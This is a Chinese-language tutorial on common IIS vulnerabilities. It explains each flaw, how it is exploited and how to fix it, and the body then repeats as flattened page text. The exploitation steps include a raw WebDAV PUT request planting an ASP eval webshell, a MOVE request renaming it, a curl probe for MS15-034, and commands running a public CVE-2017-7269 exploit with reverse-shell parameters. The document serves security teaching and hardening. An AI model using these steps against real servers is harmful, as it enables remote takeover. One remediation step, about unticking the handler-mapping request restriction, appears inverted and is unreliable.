IIS常见漏洞与利用方式总结
字数 4725 2025-10-01 14:05:52

IIS常见漏洞与利用方式教学文档

文档概述

本文档旨在系统性地总结微软IIS (Internet Information Services) Web服务器中存在的常见安全漏洞、其利用原理、具体利用方法以及修复方案。内容基于提供的链接材料进行深度梳理与扩展,侧重于技术细节与实战指导。

1. IIS 6.0 文件名解析漏洞

漏洞原理

IIS 6.0在处理文件路径时存在一个缺陷:当文件名中包含分号(;)时,服务器会错误地将分号后的内容截断,仅使用分号前的部分作为文件扩展名来决定如何处理该文件。
同时,IIS 6.0不仅将.asp文件识别为可执行脚本,还会将扩展名.cer.cdx.asa的文件也交由相同的动态链接库(asp.dll)进行解析执行。

利用方法

  1. 文件上传:攻击者成功上传一个特制文件,例如名为 shell.asp;.jpg 的文件。
  2. 触发执行:直接访问上传文件的URL(如 http://target/shell.asp;.jpg)。
  3. 漏洞触发:IIS 6.0 将 ; 后的 .jpg 截断,最终将 shell.asp 识别为待执行的文件,从而将 JPG 文件中的 ASP 代码当作服务器脚本执行。

修复方案

  • 严格限制上传:禁止上传包含特殊字符(如 ;)的文件名。
  • 目录权限控制:将文件上传目录的权限设置为“无脚本执行”(Execute Permissions -> None 或 Pure Script)。
  • 升级迁移:升级到更高版本的IIS(如IIS 7.5+),该版本已修复此漏洞。

2. IIS 6.0 目录解析漏洞

漏洞原理

此漏洞是文件名解析漏洞的变种。如果网站目录的名称以特定的扩展名结尾(如 .asp, .asa, .cer, .cdx),IIS 6.0 会错误地将该目录下的所有文件都当作对应的脚本文件来解析执行,无论该文件本身的真实扩展名是什么。

利用方法

  1. 创建恶意目录:利用任何方式(如Web应用漏洞)创建一个名为 evil.asp 的文件夹。
  2. 放置恶意文件:在该目录下上传一个内容为ASP代码的文本文件或图片文件,例如 shell.txt
  3. 触发执行:访问 http://target/evil.asp/shell.txt
  4. 漏洞触发:IIS 看到路径位于 evil.asp 目录下,便会将 shell.txt 的内容交给 asp.dll 执行。

修复方案

  • 禁用目录创建或严格监控目录命名规则,禁止创建以可疑扩展名结尾的文件夹。
  • 升级IIS版本

3. IIS 6.0 PUT文件上传漏洞

漏洞原理

此漏洞并非IIS本身的设计缺陷,而是不当配置的结果。需要满足两个条件:

  1. 启用WebDAV:WebDAV (Web Distributed Authoring and Versioning) 扩展被启用,它提供了HTTP方法(如PUT)用于远程文件管理。
  2. 目录写入权限:网站或特定目录被配置了“写入”权限。

当两者同时具备时,攻击者可以直接使用HTTP的 PUT 方法将文件上传到服务器。

利用方法

  1. 侦察:使用 OPTIONS 方法探测服务器,检查返回头是否包含 DAV: 1, 2,这表明WebDAV已启用。
  2. 上传文件:使用 PUT 请求上传一个内容为ASP木马的文本文件。
    PUT /shell.txt HTTP/1.1
    Host: target
    Content-Type: text/plain
    Content-Length: 25
    
    <%eval request("cmd")%>
    
  3. 重命名文件:由于 .txt 文件不会被执行,需要利用WebDAV的 MOVECOPY 方法将其重命名为 .asp 文件。
    MOVE /shell.txt HTTP/1.1
    Host: target
    Destination: http://target/shell.asp
    
  4. 获取WebShell:如果服务器返回 201 Created,则表示重命名成功。随后即可使用中国菜刀等工具连接 shell.asp,获取服务器控制权。

修复方案

  • 禁用WebDAV:在“Web服务扩展”中禁用WebDAV。
  • 移除写入权限:除非绝对必要,否则永远不要为Web目录分配“写入”权限。
  • 使用授权规则:如果必须使用WebDAV,请配置严格的NTFS权限和IIS授权规则,只允许特定用户访问。

4. IIS短文件名枚举漏洞

漏洞原理

为了兼容古老的MS-DOS 8.3文件名格式,NTFS文件系统会为长文件名自动生成一个对应的短文件名(例如 LongFileName.txt 的短文件名可能为 LONGFI~1.TXT)。IIS在接收到包含波浪号(~)的URL请求时,会错误地披露该文件或目录是否存在。攻击者可以利用这种差异进行盲猜,枚举出服务器上的短文件名,从而推断出真实的长文件名,尤其是敏感文件(如 web.config -> WEBCO~1.CON)。

利用方法

  1. 盲注式探测:通过暴力猜解短文件名的前几个字符。
    • 如果请求 http://target/longna~1.*/.aspx 返回 404,则表示存在以 longna 开头的文件或目录。
    • 如果返回 400,则表示不存在。
  2. 自动化工具:使用自动化脚本或现有工具(如 IIS_shortname_Scanner)来高效地枚举出存在的短文件名。

修复方案

  • 升级.NET Framework:升级至 .NET Framework 4.0 或更高版本,可从根本上免疫此漏洞(IIS 7.5+ 默认集成)。
  • 禁用NTFS 8.3命名支持
    1. 打开注册表编辑器,找到键值:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
    2. NtfsDisable8dot3NameCreation 的值设置为 1
    3. 注意:此操作仅阻止新文件生成短文件名,已存在的短文件名需要移动或复制后才能消失。
  • 应用程序层过滤:在Web应用防火墙(WAF)或URL重写规则中过滤包含波浪号(~)的请求。

5. HTTP.sys远程代码执行漏洞 (MS15-034)

漏洞原理

该漏洞是Windows内核HTTP协议栈驱动程序 HTTP.sys 中的一个整数溢出漏洞。攻击者通过发送一个特制的HTTP Range 请求头,可以触发缓冲区溢出,最终在内核模式下执行任意代码,导致系统蓝屏崩溃(DoS)或完全控制服务器。

利用方法

  1. 漏洞检测:使用以下命令或浏览器插件修改请求头,发送恶意 Range 头:
    curl -v http://target/ -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"
    
    如果服务器返回 416 Requested Range Not Satisfiable,则表明目标存在漏洞。如果返回其他代码(如400),则可能不受影响。
  2. 漏洞利用:利用Metasploit等框架中的攻击模块,可以尝试实现远程代码执行(RCE)或直接进行拒绝服务攻击(DoS)。

修复方案

  • 立即安装官方补丁:这是最根本的解决方案。微软已发布安全更新MS15-034。
  • 启用WAF防护:在补丁安装前,立即配置Web应用防火墙(WAF)规则,拦截包含恶意 Range 头的请求。

6. CVE-2017-7269 (IIS 6.0 WebDAV RCE)

漏洞原理

这是IIS 6.0的WebDAV组件中的一个缓冲区溢出漏洞。攻击者向服务器发送一个超长的、精心构造的 PROPFIND 请求(WebDAV方法之一),由于程序对请求中的URL长度缺乏正确的边界检查,导致栈缓冲区溢出,从而覆盖函数返回地址,劫持程序执行流程。

利用方法

  1. 侦察:使用 OPTIONS 方法确认WebDAV是否启用(响应头包含 DAV: 1, 2)。
  2. 利用漏洞:使用公开的EXP(漏洞利用代码),发送恶意 PROPFIND 请求。
    git clone https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269
    cd iis6-exploit-2017-CVE-2017-7269
    python exploit.py <Target IP> <Target Port> <Reverse Shell IP> <Reverse Shell Port>
    
  3. 获取Shell:成功利用后,攻击者会获得一个返连的Shell,具有与IIS工作进程相同的权限(通常是 NETWORK SERVICE)。

修复方案

  • 禁用WebDAV:这是最直接有效的临时缓解措施。
  • 安装补丁:微软为Windows Server 2003提供了补丁,应尽快安装。
  • 升级系统:Windows Server 2003早已停止支持,必须将系统升级到受支持的版本(如Windows Server 2016/2019/2022)。

7. IIS 7.x 解析漏洞

漏洞原理

此漏洞与PHP的配置选项 cgi.fix_pathinfo 密切相关。当该值设置为 1(默认值)时,PHP CGI会尝试在文件路径中“修复” PATH_INFO 信息。攻击者可以在任何一个已存在的文件(如图片、文本)后面加上 /任意值.php,PHP CGI会沿着路径向前寻找真实存在的文件,并将其内容以PHP代码的形式解析执行。

利用方法

  1. 上传恶意图片:上传一个包含PHP代码的图片文件(如 evil.jpg),内容为 <?php phpinfo(); ?>
  2. 触发解析:访问 http://target/evil.jpg/index.php
  3. 漏洞触发:IIS+PHP-CGI 看到请求的是 .php 文件,但会向前寻找到 evil.jpg,并将其中的 <?php phpinfo(); ?> 当作PHP代码执行。

修复方案

  • 修改PHP配置:在 php.ini 中将 cgi.fix_pathinfo 的值设置为 0,然后重启PHP-CGI进程。
  • 配置处理程序映射:在IIS管理器中,编辑 *.php 的处理程序映射(Handler Mapping),点击“请求限制”,取消勾选“仅当请求映射至以下内容时才调用处理程序”选项,确保只有真正的 .php 文件才会被交给PHP解析。

总结与最佳实践

漏洞名称 影响版本 关键点 修复建议
文件名解析 IIS 6.0 分号(;)截断文件名解析 严格控制上传,禁用目录执行权限,升级
目录解析 IIS 6.0 特定扩展名目录下的文件被解析 禁止创建此类目录,升级
PUT上传 IIS 6.0 WebDAV启用 + 写入权限配置不当 禁用WebDAV或严格授权,移除不必要的写入权限
短文件名枚举 多数版本 NTFS 8.3格式名称信息披露 升级.NET,禁用NTFS 8.3命名,过滤~
HTTP.sys RCE IIS 7.5+ 内核驱动整数溢出 立即安装官方补丁,配置WAF
CVE-2017-7269 IIS 6.0 WebDAV缓冲区溢出 禁用WebDAV,安装补丁,升级操作系统
IIS7.x解析 IIS 7.x cgi.fix_pathinfo=1 路径处理缺陷 设置 cgi.fix_pathinfo=0,正确配置处理程序映射

通用安全加固建议:

  1. 最小权限原则:始终以所需的最小权限运行IIS应用程序池和工作进程。
  2. 及时更新:保持Windows操作系统和IIS版本处于最新状态,并安装所有安全更新。
  3. 禁用不必要的功能:关闭不需要的IIS组件(如WebDAV、FTP)、HTTP方法(如PUT, DELETE)和服务扩展。
  4. 纵深防御:在服务器前部署WAF,用于检测和拦截已知的攻击 payload。

IIS常见漏洞与利用方式教学文档 文档概述 本文档旨在系统性地总结微软IIS (Internet Information Services) Web服务器中存在的常见安全漏洞、其利用原理、具体利用方法以及修复方案。内容基于提供的链接材料进行深度梳理与扩展,侧重于技术细节与实战指导。 1. IIS 6.0 文件名解析漏洞 漏洞原理 IIS 6.0在处理文件路径时存在一个缺陷:当文件名中包含分号( ; )时,服务器会错误地将分号后的内容截断,仅使用分号前的部分作为文件扩展名来决定如何处理该文件。 同时,IIS 6.0不仅将 .asp 文件识别为可执行脚本,还会将扩展名 .cer 、 .cdx 、 .asa 的文件也交由相同的动态链接库( asp.dll )进行解析执行。 利用方法 文件上传 :攻击者成功上传一个特制文件,例如名为 shell.asp;.jpg 的文件。 触发执行 :直接访问上传文件的URL(如 http://target/shell.asp;.jpg )。 漏洞触发 :IIS 6.0 将 ; 后的 .jpg 截断,最终将 shell.asp 识别为待执行的文件,从而将 JPG 文件中的 ASP 代码当作服务器脚本执行。 修复方案 严格限制上传 :禁止上传包含特殊字符(如 ; )的文件名。 目录权限控制 :将文件上传目录的权限设置为“无脚本执行”(Execute Permissions -> None 或 Pure Script)。 升级迁移 :升级到更高版本的IIS(如IIS 7.5+),该版本已修复此漏洞。 2. IIS 6.0 目录解析漏洞 漏洞原理 此漏洞是文件名解析漏洞的变种。如果网站目录的名称以特定的扩展名结尾(如 .asp , .asa , .cer , .cdx ),IIS 6.0 会错误地将该目录下的 所有文件 都当作对应的脚本文件来解析执行,无论该文件本身的真实扩展名是什么。 利用方法 创建恶意目录 :利用任何方式(如Web应用漏洞)创建一个名为 evil.asp 的文件夹。 放置恶意文件 :在该目录下上传一个内容为ASP代码的文本文件或图片文件,例如 shell.txt 。 触发执行 :访问 http://target/evil.asp/shell.txt 。 漏洞触发 :IIS 看到路径位于 evil.asp 目录下,便会将 shell.txt 的内容交给 asp.dll 执行。 修复方案 禁用目录创建 或严格监控目录命名规则,禁止创建以可疑扩展名结尾的文件夹。 升级IIS版本 。 3. IIS 6.0 PUT文件上传漏洞 漏洞原理 此漏洞并非IIS本身的设计缺陷,而是 不当配置 的结果。需要满足两个条件: 启用WebDAV :WebDAV (Web Distributed Authoring and Versioning) 扩展被启用,它提供了HTTP方法(如PUT)用于远程文件管理。 目录写入权限 :网站或特定目录被配置了“写入”权限。 当两者同时具备时,攻击者可以直接使用HTTP的 PUT 方法将文件上传到服务器。 利用方法 侦察 :使用 OPTIONS 方法探测服务器,检查返回头是否包含 DAV: 1, 2 ,这表明WebDAV已启用。 上传文件 :使用 PUT 请求上传一个内容为ASP木马的文本文件。 重命名文件 :由于 .txt 文件不会被执行,需要利用WebDAV的 MOVE 或 COPY 方法将其重命名为 .asp 文件。 获取WebShell :如果服务器返回 201 Created ,则表示重命名成功。随后即可使用中国菜刀等工具连接 shell.asp ,获取服务器控制权。 修复方案 禁用WebDAV :在“Web服务扩展”中禁用WebDAV。 移除写入权限 :除非绝对必要,否则永远不要为Web目录分配“写入”权限。 使用授权规则 :如果必须使用WebDAV,请配置严格的NTFS权限和IIS授权规则,只允许特定用户访问。 4. IIS短文件名枚举漏洞 漏洞原理 为了兼容古老的MS-DOS 8.3文件名格式,NTFS文件系统会为长文件名自动生成一个对应的短文件名(例如 LongFileName.txt 的短文件名可能为 LONGFI~1.TXT )。IIS在接收到包含波浪号( ~ )的URL请求时,会错误地披露该文件或目录是否存在。攻击者可以利用这种差异进行盲猜,枚举出服务器上的短文件名,从而推断出真实的长文件名,尤其是敏感文件(如 web.config -> WEBCO~1.CON )。 利用方法 盲注式探测 :通过暴力猜解短文件名的前几个字符。 如果请求 http://target/longna~1.*/.aspx 返回 404 ,则表示存在以 longna 开头的文件或目录。 如果返回 400 ,则表示不存在。 自动化工具 :使用自动化脚本或现有工具(如 IIS_shortname_Scanner )来高效地枚举出存在的短文件名。 修复方案 升级.NET Framework :升级至 .NET Framework 4.0 或更高版本,可从根本上免疫此漏洞(IIS 7.5+ 默认集成)。 禁用NTFS 8.3命名支持 : 打开注册表编辑器,找到键值: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem 。 将 NtfsDisable8dot3NameCreation 的值设置为 1 。 注意 :此操作仅阻止新文件生成短文件名,已存在的短文件名需要移动或复制后才能消失。 应用程序层过滤 :在Web应用防火墙(WAF)或URL重写规则中过滤包含波浪号( ~ )的请求。 5. HTTP.sys远程代码执行漏洞 (MS15-034) 漏洞原理 该漏洞是Windows内核HTTP协议栈驱动程序 HTTP.sys 中的一个 整数溢出漏洞 。攻击者通过发送一个特制的HTTP Range 请求头,可以触发缓冲区溢出,最终在内核模式下执行任意代码,导致系统蓝屏崩溃(DoS)或完全控制服务器。 利用方法 漏洞检测 :使用以下命令或浏览器插件修改请求头,发送恶意 Range 头: 如果服务器返回 416 Requested Range Not Satisfiable ,则表明目标存在漏洞。如果返回其他代码(如400),则可能不受影响。 漏洞利用 :利用Metasploit等框架中的攻击模块,可以尝试实现远程代码执行(RCE)或直接进行拒绝服务攻击(DoS)。 修复方案 立即安装官方补丁 :这是最根本的解决方案。微软已发布安全更新MS15-034。 启用WAF防护 :在补丁安装前,立即配置Web应用防火墙(WAF)规则,拦截包含恶意 Range 头的请求。 6. CVE-2017-7269 (IIS 6.0 WebDAV RCE) 漏洞原理 这是IIS 6.0的WebDAV组件中的一个 缓冲区溢出漏洞 。攻击者向服务器发送一个超长的、精心构造的 PROPFIND 请求(WebDAV方法之一),由于程序对请求中的URL长度缺乏正确的边界检查,导致栈缓冲区溢出,从而覆盖函数返回地址,劫持程序执行流程。 利用方法 侦察 :使用 OPTIONS 方法确认WebDAV是否启用(响应头包含 DAV: 1, 2 )。 利用漏洞 :使用公开的EXP(漏洞利用代码),发送恶意 PROPFIND 请求。 获取Shell :成功利用后,攻击者会获得一个返连的Shell,具有与IIS工作进程相同的权限(通常是 NETWORK SERVICE )。 修复方案 禁用WebDAV :这是最直接有效的临时缓解措施。 安装补丁 :微软为Windows Server 2003提供了补丁,应尽快安装。 升级系统 :Windows Server 2003早已停止支持,必须将系统升级到受支持的版本(如Windows Server 2016/2019/2022)。 7. IIS 7.x 解析漏洞 漏洞原理 此漏洞与PHP的配置选项 cgi.fix_pathinfo 密切相关。当该值设置为 1 (默认值)时,PHP CGI会尝试在文件路径中“修复” PATH_INFO 信息。攻击者可以在任何一个已存在的文件(如图片、文本)后面加上 /任意值.php ,PHP CGI会沿着路径向前寻找真实存在的文件,并将其内容以PHP代码的形式解析执行。 利用方法 上传恶意图片 :上传一个包含PHP代码的图片文件(如 evil.jpg ),内容为 <?php phpinfo(); ?> 。 触发解析 :访问 http://target/evil.jpg/index.php 。 漏洞触发 :IIS+PHP-CGI 看到请求的是 .php 文件,但会向前寻找到 evil.jpg ,并将其中的 <?php phpinfo(); ?> 当作PHP代码执行。 修复方案 修改PHP配置 :在 php.ini 中将 cgi.fix_pathinfo 的值设置为 0 ,然后重启PHP-CGI进程。 配置处理程序映射 :在IIS管理器中,编辑 *.php 的处理程序映射(Handler Mapping),点击“请求限制”,取消勾选“仅当请求映射至以下内容时才调用处理程序”选项,确保只有真正的 .php 文件才会被交给PHP解析。 总结与最佳实践 | 漏洞名称 | 影响版本 | 关键点 | 修复建议 | | :--- | :--- | :--- | :--- | | 文件名解析 | IIS 6.0 | 分号( ; )截断文件名解析 | 严格控制上传,禁用目录执行权限,升级 | | 目录解析 | IIS 6.0 | 特定扩展名目录下的文件被解析 | 禁止创建此类目录,升级 | | PUT上传 | IIS 6.0 | WebDAV启用 + 写入权限配置不当 | 禁用WebDAV或严格授权,移除不必要的写入权限 | | 短文件名枚举 | 多数版本 | NTFS 8.3格式名称信息披露 | 升级.NET,禁用NTFS 8.3命名,过滤 ~ | | HTTP.sys RCE | IIS 7.5+ | 内核驱动整数溢出 | 立即安装官方补丁 ,配置WAF | | CVE-2017-7269 | IIS 6.0 | WebDAV缓冲区溢出 | 禁用WebDAV,安装补丁, 升级操作系统 | | IIS7.x解析 | IIS 7.x | cgi.fix_pathinfo=1 路径处理缺陷 | 设置 cgi.fix_pathinfo=0 ,正确配置处理程序映射 | 通用安全加固建议: 最小权限原则 :始终以所需的最小权限运行IIS应用程序池和工作进程。 及时更新 :保持Windows操作系统和IIS版本处于最新状态,并安装所有安全更新。 禁用不必要的功能 :关闭不需要的IIS组件(如WebDAV、FTP)、HTTP方法(如PUT, DELETE)和服务扩展。 纵深防御 :在服务器前部署WAF,用于检测和拦截已知的攻击 payload。